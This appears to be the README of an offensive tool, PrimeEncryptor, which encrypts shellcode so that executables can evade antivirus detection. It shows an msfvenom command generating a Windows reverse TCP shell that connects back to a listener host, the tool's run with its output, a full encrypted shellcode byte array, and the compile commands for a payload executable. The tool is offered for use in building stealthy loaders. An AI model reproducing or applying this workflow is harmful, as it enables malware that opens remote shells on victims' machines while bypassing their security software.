PrimeEncryptor is a flexible Dynamic Shellcode Encryptor designed to generate encrypted shellcode using multiple encryption techniques. This tool creates encrypted .bin files, which can be embedded in the resource section of an executable. During runtime, the executable dynamically decrypts and loads the shellcode, helping bypass antivirus and security solutions by evading detection. The encrypted payloads are decrypted at runtime via a loader.
Additionally, PrimeEncryptor provides sample C++ code snippets that give you the necessary functions to load the encrypted shellcode directly from the resource segment of the executable. These code snippets simplify the process of embedding and dynamically loading the shellcode, ensuring efficient execution while maintaining stealth.You can use these functions in your own loaders.
Clone the repository and set up the environment.
git clone https://github.com/dagowda/PrimeEncryptor.git
cd PrimeEncryptor
sudo apt-get update
sudo apt-get install -y mingw-w64
pip3 install pycryptodomeMake sure the necessary dependencies are installed:
➜ PrimeEncryptor msfvenom -p windows/x64/shell_reverse_tcp LHOST=192.168.222.129 LPORT=443 -f raw >payload.bin
[-] No platform was selected, choosing Msf::Module::Platform::Windows from the payload
[-] No arch selected, selecting arch: x64 from the payload
No encoder specified, outputting raw payload
Payload size: 460 bytes
➜ PrimeEncryptor python3 PrimeEncyptor.py payload.bin
██████╗ ██████╗ ██╗███╗ ███╗███████╗ ███████╗███╗ ██╗ ██████╗██████╗ ██╗ ██╗██████╗ ████████╗ ██████╗ ██████╗
██╔══██╗██╔══██╗██║████╗ ████║██╔════╝ ██╔════╝████╗ ██║██╔════╝██╔══██╗╚██╗ ██╔╝██╔══██╗╚══██╔══╝██╔═══██╗██╔══██╗
██████╔╝██████╔╝██║██╔████╔██║█████╗ █████╗ ██╔██╗ ██║██║ ██████╔╝ ╚████╔╝ ██████╔╝ ██║ ██║ ██║██████╔╝
██╔═══╝ ██╔══██╗██║██║╚██╔╝██║██╔══╝ ██╔══╝ ██║╚██╗██║██║ ██╔══██╗ ╚██╔╝ ██╔═══╝ ██║ ██║ ██║██╔══██╗
██║ ██║ ██║██║██║ ╚═╝ ██║███████╗ ███████╗██║ ╚████║╚██████╗██║ ██║ ██║ ██║ ██║ ╚██████╔╝██║ ██║
╚═╝ ╚═╝ ╚═╝╚═╝╚═╝ ╚═╝╚══════╝ ╚══════╝╚═╝ ╚═══╝ ╚═════╝╚═╝ ╚═╝ ╚═╝ ╚═╝ ╚═╝ ╚═════╝ ╚═╝ ╚═╝
................................................
Encryptor function creator
---------------------------------------------------------
Created by Dhanush Gowda(dagowda)
---------------------------------------------------------
................................................
Please select the encryption type:
1.)AES encryption
2.)rot20
3.)rc4 encryption
>2
unsigned char ciphertext[] = {0x10,0x5c,0x97,0xf8,0x04,0xfc,0xd4,0x14,0x14,0x14,0x55,0x65,0x55,0x64,0x66,0x65,0x6a,0x5c,0x45,0xe6,0x79,0x5c,0x9f,0x66,0x74,0x5c,0x9f,0x66,0x2c,0x5c,0x9f,0x66,0x34,0x5c,0x9f,0x86,0x64,0x5c,0x23,0xcb,0x5e,0x5e,0x61,0x45,0xdd,0x5c,0x45,0xd4,0xc0,0x50,0x75,0x90,0x16,0x40,0x34,0x55,0xd5,0xdd,0x21,0x55,0x15,0xd5,0xf6,0x01,0x66,0x55,0x65,0x5c,0x9f,0x66,0x34,0x9f,0x56,0x50,0x5c,0x15,0xe4,0x9f,0x94,0x9c,0x14,0x14,0x14,0x5c,0x99,0xd4,0x88,0x7b,0x5c,0x15,0xe4,0x64,0x9f,0x5c,0x2c,0x58,0x9f,0x54,0x34,0x5d,0x15,0xe4,0xf7,0x6a,0x5c,0x13,0xdd,0x55,0x9f,0x48,0x9c,0x5c,0x15,0xea,0x61,0x45,0xdd,0x5c,0x45,0xd4,0xc0,0x55,0xd5,0xdd,0x21,0x55,0x15,0xd5,0x4c,0xf4,0x89,0x05,0x60,0x17,0x60,0x38,0x1c,0x59,0x4d,0xe5,0x89,0xec,0x6c,0x58,0x9f,0x54,0x38,0x5d,0x15,0xe4,0x7a,0x55,0x9f,0x20,0x5c,0x58,0x9f,0x54,0x30,0x5d,0x15,0xe4,0x55,0x9f,0x18,0x9c,0x5c,0x15,0xe4,0x55,0x6c,0x55,0x6c,0x72,0x6d,0x6e,0x55,0x6c,0x55,0x6d,0x55,0x6e,0x5c,0x97,0x00,0x34,0x55,0x66,0x13,0xf4,0x6c,0x55,0x6d,0x6e,0x5c,0x9f,0x26,0xfd,0x6b,0x13,0x13,0x13,0x71,0x5d,0xd2,0x8b,0x87,0x46,0x73,0x47,0x46,0x14,0x14,0x55,0x6a,0x5d,0x9d,0xfa,0x5c,0x95,0x00,0xb4,0x15,0x14,0x14,0x5d,0x9d,0xf9,0x5d,0xd0,0x16,0x14,0x15,0xcf,0xd4,0xbc,0xf2,0x95,0x55,0x68,0x5d,0x9d,0xf8,0x60,0x9d,0x05,0x55,0xce,0x60,0x8b,0x3a,0x1b,0x13,0xe9,0x60,0x9d,0xfe,0x7c,0x15,0x15,0x14,0x14,0x6d,0x55,0xce,0x3d,0x94,0x7f,0x14,0x13,0xe9,0x64,0x64,0x61,0x45,0xdd,0x61,0x45,0xd4,0x5c,0x13,0xd4,0x5c,0x9d,0xd6,0x5c,0x13,0xd4,0x5c,0x9d,0xd5,0x55,0xce,0xfe,0x23,0xf3,0xf4,0x13,0xe9,0x5c,0x9d,0xdb,0x7e,0x24,0x55,0x6c,0x60,0x9d,0xf6,0x5c,0x9d,0x0d,0x55,0xce,0xad,0xb9,0x88,0x75,0x13,0xe9,0x5c,0x95,0xd8,0x54,0x16,0x14,0x14,0x5d,0xcc,0x77,0x81,0x78,0x14,0x14,0x14,0x14,0x14,0x55,0x64,0x55,0x64,0x5c,0x9d,0xf6,0x6b,0x6b,0x6b,0x61,0x45,0xd4,0x7e,0x21,0x6d,0x55,0x64,0xf6,0x10,0x7a,0xdb,0x58,0x38,0x68,0x15,0x15,0x5c,0xa1,0x58,0x38,0x2c,0xda,0x14,0x7c,0x5c,0x9d,0xfa,0x6a,0x64,0x55,0x64,0x55,0x64,0x55,0x64,0x5d,0x13,0xd4,0x55,0x64,0x5d,0x13,0xdc,0x61,0x9d,0xd5,0x60,0x9d,0xd5,0x55,0xce,0x8d,0xe0,0x53,0x9a,0x13,0xe9,0x5c,0x45,0xe6,0x5c,0x13,0xde,0x9f,0x22,0x55,0xce,0x1c,0x9b,0x31,0x74,0x13,0xe9,0xcf,0x04,0xc9,0xb6,0x6a,0x55,0xce,0xba,0xa9,0xd1,0xb1,0x13,0xe9,0x5c,0x97,0xd8,0x3c,0x50,0x1a,0x90,0x1e,0x94,0x0f,0xf4,0x89,0x19,0xcf,0x5b,0x27,0x86,0x83,0x7e,0x14,0x6d,0x55,0x9d,0xee,0x13,0xe9};
resources.rc and rot20.bin has been created
TO COMPILE:
"x86_64-w64-mingw32-windres resources.rc -O coff -o resources.res"
"x86_64-w64-mingw32-g++ --static -o payload.exe rot20.cpp resources.res -lws2_32 -lshlwapi -fpermissive"- Ensure you have Python 3.8+ installed.
- Run the commands in a terminal with the required permissions.
